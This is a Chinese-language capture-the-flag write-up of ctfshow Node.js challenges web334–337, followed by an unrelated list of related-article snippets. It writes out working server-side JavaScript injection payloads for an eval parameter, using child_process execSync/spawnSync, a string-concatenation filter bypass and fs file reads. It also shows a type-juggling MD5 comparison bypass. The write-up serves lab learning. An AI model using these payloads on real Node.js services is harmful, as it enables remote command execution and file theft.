ctfshow-nodejs

什么是nodejs
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器

Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。

这也是我第一次接触js 正好学习一下 js的前端和后端的处理方式 代码会有详细的解释

web334

首页面

后端user.js文件

module.exports = {items: [//这是一个属性 是一个数组 是一个包含用户名和密码的对象{username: 'CTFSHOW', password: '123456'}]
};

后端 login.js文件

var express = require('express');//引入 Express 框架(模块),用于构建 Web 应用程序
var router = express.Router();//创建一个新的路由处理器实例,用于定义和组织路由
var users = require('../modules/user').items;//引入用户数据模块,假设这里的 user 模块包含了用户数据信息
//定义一个函数 参数为name和password
//并且使用find数组方法 遍历整个数组的元素 每个元素作为返回值传给回调函数作为参数
//判断是否有符合条件的 如果有 findUser 函数会立即返回该用户对象;如果没有找到任何匹配的用户对象,则返回 undefined
var findUser = function(name, password){return users.find(function(item){return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;});
};
/* GET home page. */
//这段代码是一个路由处理函数,当客户端发送 POST 请求到根路径 / 时会执行该函数
// 首先设置回复方式为html 
router.post('/', function(req, res, next) {res.type('html');var flag='flag_here';//通过 req.session 创建或获取当前会话的 Session 对象var sess = req.session;//获取数据中的用户名和密码作为finduser函数的参数 函数返回值赋值给uservar user = findUser(req.body.username, req.body.password);//如果user存在 执行代码//重新生成会话,并执行回调函数。regenerate 方法用于销毁当前会话并创建一个新的会话,//以确保会话安全性。回调函数中的参数 err 是一个可能的错误对象。如果会话生成过程中出现错误,将通过返回一个 JSON 响应表示登录失败if(user){req.session.regenerate(function(err) {if(err){return res.json({ret_code: 2, ret_msg: '登录失败'});        }//将用户对象的用户名赋值给会话对象的 loginUser 属性req.session.loginUser = user.username;//返回一个 JSON 响应对象,其中包含登录成功的信息,以及之前设置的 flag 变量的值res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag});              });}else{res.json({ret_code: 1, ret_msg: '账号或密码错误'});}  
});
module.exports = router;

前端的js

<script>$('.btn').click(function(){login();//如果点击btn类名的元素时执行login函数});function login(){ $.ajax({//开启一个异步 定义提交数据类型以及 提交的位置url:'/login',type:'post',data:{username:$('#username').val(),password:$('#password').val()},//数据包返回 会将数据先解析为json格式 然后进行判断success:function(data){data = JSON.parse(data);if(data.ret_code===0){alert(data.ret_flag);}else{alert(data.ret_msg);}                }});}
</script>

其实有用的就是 后端js的判断 

已知用户数据中有 账号为CTFSHOW 密码为123456

判断条件

 return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;

如果提交的name不等于CTFSHOW 且数据中的usernmae等于提交的name的大写 且 数据的password等于提交的password

这样提交小写的ctfshow密码为123456即可

web335

查看源码提示传一个参数 考虑到这里是nodejs,eval很有可能在后端是执行的eval函数

在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。

传入一个1 回显1 传一个ls无回显 那是正常的 因为这不是shell环境无法ls 这是nodejs环境执行的是js代码 那就想办法怎么执行js代码能做到执行shell代码

这里我们使用require()函数来加载child_process模块 然后使用execSync方法来执行系统命令

require("child_process").execSync('ls')
 

require("child_process").execSync('cat fl00g.txt')

web336

和上一题一样 没什么区别 估计是后端的处理有区别

就是禁用了exec

答案

先用__filename查看当前目录路径

然后读取当前文件名查看过滤点

require('fs').readFileSync('/app/routes/index.js','utf-8')

第一种

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout

?eval=require( 'child_process' ).spawnSync( 'ls' ).stdout.toString()
为什么?eval=require( 'child_process' ).spawnSync( 'ls' )不可以  大概解释就是他的返回结果是一个对象 不能输出 后面加入一个.stdout代表标准输出 也能成功以字符串形式输出再加一个.toString它会将被调用对象转换为字符串表示查看文件

?eval=require( 'child_process' ).spawnSync( 'cat',['fl001g.txt'] ).stdout.toString()

第二种

?eval=require("child_process")['exe'%2B'cSync']('ls')

?eval=require("child_process")['exe'%2B'cSync']('cat fl001g.txt')

第三种读取函数方式

?eval=require("fs").readdirSync('.')     查看当前目录(换成/.可查看根目录)
?eval=require("fs").readFileSync('fl001g.txt') --查看指定文件

web337

var express = require('express');//引入了 Express 模块,它是一个基于 Node.js 平台的 Web 开发框架
var router = express.Router();   //创建了一个新的路由对象
var crypto = require('crypto');  //引入了 Node.js 内置的 crypto 模块。该模块提供了一些加密和哈希算法
function md5(s) { //md5函数用于加密return crypto.createHash('md5').update(s).digest('hex');
}
/* GET home page. */
//路由接收到一个get传到当前页面的数据 设置返回类型为html
router.get('/', function(req, res, next) {res.type('html');var flag='xxxxxxx';var a = req.query.a;var b = req.query.b;//判断条件的要求是 a和b有值且不相等 长度相等 与flag合并后md5加密相等if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){res.end(flag);}else{res.render('index',{ msg: 'tql'});}
});
module.exports = router;

一说两个不一样的进行md5加密 还能相等 那一定就是用到了该变成语言的特性

举个例子

a={'':'1'} //定义一个对象 属性名为空 属性值为1
b={'':'2'}
const c = [1];//定义一个常量数组c 值为1 
const d = [2];
console.log(a+"flag")输出到控制台
console.log(b+"flag")
console.log(c+"flag")
console.log(d+"flag")
//回显
//直接如果是一个对象直接输出 就显示[object Object]
[object Object]flag
[object Object]flag
1flag//数组要是输出那就是数组值
2flag

php中,无论是a[0]=1,a[1]=3…这种key为0,1,2…递增的,还是a[‘x’]=1,a[‘y’]=2这种自定义key的,都叫做数组array;而js中,前者叫数组,后者叫对象(Object)

自然的出答案 这三个但一个意思 都是将a和b当成对象进行赋值

?a[x]=1&b[x]=2
?a[]=1&b[]=1

a[:]=1&b[:]=2

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/418481.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第391题完美矩形

题目&#xff1a; 题解&#xff1a; bool isSubsequence(char* s, char* t) {int mstrlen(s); int nstrlen(t);int k0; int j0;if(mn&&m0) return true;for(int i0;i<n;i){if(s[j]t[i]){j;}if(jm) return true;}return false; }

Mac使用Elasticsearch

下载 Past Releases of Elastic Stack Software | Elastic 解压tar -xzvf elasticsearch-8.15.1-darwin-x86_64.tar.gz 修改配置文件config/elasticsearch.yml xpack.security.enabled: false xpack.security.http.ssl: enabled: false 切换目录 cd elasticsearch-8.15.1/…

ArcGIS中怎么合并多个点图层并删除重复点?

最近&#xff0c;我接到了一个怎么合并多个点图层并删除其中的重复点的咨询。 下面是我对这个问题的解决思路&#xff1a; 1、合并图层 在地理处理工具里面 选择合并 并设置好要合并的图层即可 2、接下来在 数据管理工具→常规→删除相同项 即可 希望这些建议能对大家有所帮…

【PPT学习笔记】使用PPT制作动画/手书/视频等作品的适配性和可能性?

【PPT学习笔记】使用PPT制作动画/手书等作品的可能性&#xff1f; 背景前摇&#xff1a;&#xff08;省流可不看&#xff09; 最近找到另外一份新的实习工作&#xff0c;有很多需要用到PPT动画的地方。 然而&#xff0c;我们之前制作的理工科PPT全是摒弃了形式主义的艰苦朴素…

【LeetCode】08.字符串转换整数

题目要求 解题思路 本题没有难点&#xff0c;只需注意最大整数的比较时要切换成long long 代码实现 class Solution { public:int myAtoi(string s) {//标记正负号int flag1;long long ret0;int ns.size();int i0;//去除空格while(s[i] ) i;//识别符号if(s[i]-) flag-1;i…

链动2+1模式AI智能名片S2B2C商城小程序源码在社群商业价值构建中的应用探索

摘要&#xff1a;在数字经济浪潮的推动下&#xff0c;社群作为商业生态的核心组成部分&#xff0c;其商业价值正以前所未有的速度增长。本文深入探讨了如何通过“链动21模式AI智能名片S2B2C商城小程序源码”这一前沿技术工具&#xff0c;深度挖掘并优化社群的商业价值。通过详细…

LED显示屏维修技巧与常见问题

LED显示屏作为现代显示技术的重要组成部分&#xff0c;广泛应用于广告、信息发布、公共显示等多个领域。然而&#xff0c;随着使用时间的增长&#xff0c;LED显示屏难免会出现各种问题。本文将探讨LED显示屏维修的一些小技巧以及常见的问题&#xff0c;帮助用户更好地维护和延长…

docker进入容器运行命令

前言 Docker是一种流行的容器化平台&#xff0c;它能够快速构建、交付和运行应用程序。在使用Docker时&#xff0c;我们经常需要进入容器进行调试、管理和运行命令等操作。 进入 docker 容器需要执行以下步骤&#xff1a;打开终端窗口。使用 docker ps 命令查看正在运行的容器…

集合及映射

1、集合类图 1&#xff09;ArrayList与LinkedList 区别 LinkedList 实现了双向队列的接口&#xff0c;对于数据的插入速度较快&#xff0c;只需要修改前后的指向即可&#xff1b;ArrayList对于特定位置插入数据&#xff0c;需要移动特定位置后面的数据&#xff0c;有额外开销 …

时序预测及模型简介

1. 时序预测 时序预测是一种统计或机器学习方法&#xff0c;它尝试对历史的时序数据建模&#xff0c;以预测未来的时间点。比如股价、商超销售额、航空乘客量等。本文主要介绍时序预测的基本概念以及常用方法介绍&#xff0c;但不做展开介绍&#xff0c;后续会针对方法、模型做…

找到字符串中所有字母异位词问题

欢迎跳转我的主页&#xff1a;羑悻的小杀马特-CSDN博客 目录&#xff1a; 一题目简述&#xff1a; 二思路汇总&#xff1a; 三解答代码&#xff1a; 一题目简述&#xff1a; leetcode题目链接&#xff1a;. - 力扣&#xff08;LeetCode&#xff09; 二思路汇总&#xff1a; …

基于微信小程序在线订餐系统

微信小程序在线订餐系统 摘要 随着信息技术在管理上越来越深入而广泛的应用&#xff0c;管理信息系统的实施在技术上已逐步成熟。本文介绍了微信小程序在线订餐系统的开发全过程。通过分析微信小程序在线订餐系统管理的不足&#xff0c;创建了一个计算机管理微信小程序在线订…

【原创】java+swing+mysql简易员工管理系统设计与实现

个人主页&#xff1a;程序员杨工 个人简介&#xff1a;从事软件开发多年&#xff0c;前后端均有涉猎&#xff0c;具有丰富的开发经验 博客内容&#xff1a;全栈开发&#xff0c;分享Java、Python、Php、小程序、前后端、数据库经验和实战 文末有本人名片&#xff0c;希望和大家…

远程桌面 Rust Desk 自建服务器

因为某些原因(诈骗)&#xff0c;Rush Desk 服务已暂停国内访问&#xff0c;今天我们介绍如何利用自己的服务器搭建 Rust Desk 远程桌面&#xff0c;低延迟电脑远程手机&#xff0c;手机远程电脑等 一、准备工作 准备一台服务器&#xff0c;我用的腾讯云服务器&#xff0c;一年…

Gitlab-ce upgrade 16.0.1 to 17.3.1【Gitlab-ce 16.0.1 升级 17.3.1】

文章目录 背景gitlab-ce 16.0.1 升级 17.3.1 失败gitlab-ce 16.0.1 升级 16.11.8 失败gitlab-ce 16.0.1 升级 16.7.9 失败gitlab-ce 16.0.1 升级 16.3.8 成功gitlab-ce 16.3.8 升级 16.11.8 失败gitlab-ce 16.3.8 升级 16.7.9 成功gitlab-ce 16.7.9 升级 16.11.8 成功gitlab-ce…

JavaScript练手小技巧:利用鼠标滚轮控制图片轮播

近日&#xff0c;在浏览网站的时候&#xff0c;发现了一个有意思的效果&#xff1a;一个图片轮播&#xff0c;通过上下滚动鼠标滚轮控制图片的上下切换。 于是就有了自己做一个的想法&#xff0c;顺带复习下鼠标滚轮事件。 鼠标滚轮事件&#xff0c;参考这篇文章&#xff1a;…

Spark的Web界面

http://localhost:4040/jobs/ 在顶部导航栏上&#xff0c;可以点击以下选项来查看不同类型的Spark应用信息&#xff1a; Jobs - 此视图将列出所有已提交的作业&#xff0c;并提供每个作业的详细信息&#xff0c;如作业ID、名称、开始时间、结束时间等。Stages - 此视图可以查…

出现 /www/server/mysql/bin/mysqld: Shutdown complete 的解决方法

目录 1. 基本知识1.1 查找my.cnf目录1.2 配置错误日志2. 问题所示3. 原理分析4. 解决方法1. 基本知识 主要补充一些基本知识的拓展 1.1 查找my.cnf目录 查看mysql默认读取my.cnf的目录: mysql --help|grep my.cnf 截图如下:(为了方便查看具体使用的配置文件在哪个路径)…

Python Flask 实现图片上传页面

其中index.html文件&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta name"viewport" content"widthdevice-width, initial-scale1.0"><title>Image and Text U…

油猴插件录制请求,封装接口自动化参数

参考&#xff1a;如何使用油猴插件提高测试工作效率 一、背景 在酷家乐设计工具测试中&#xff0c;总会有许多高频且较繁琐的工作&#xff0c;比如&#xff1a; 查询插件版本&#xff1a;需要打开Chrome控制台&#xff0c;输入好几个命令然后过滤出版本信息。 查询模型商品&…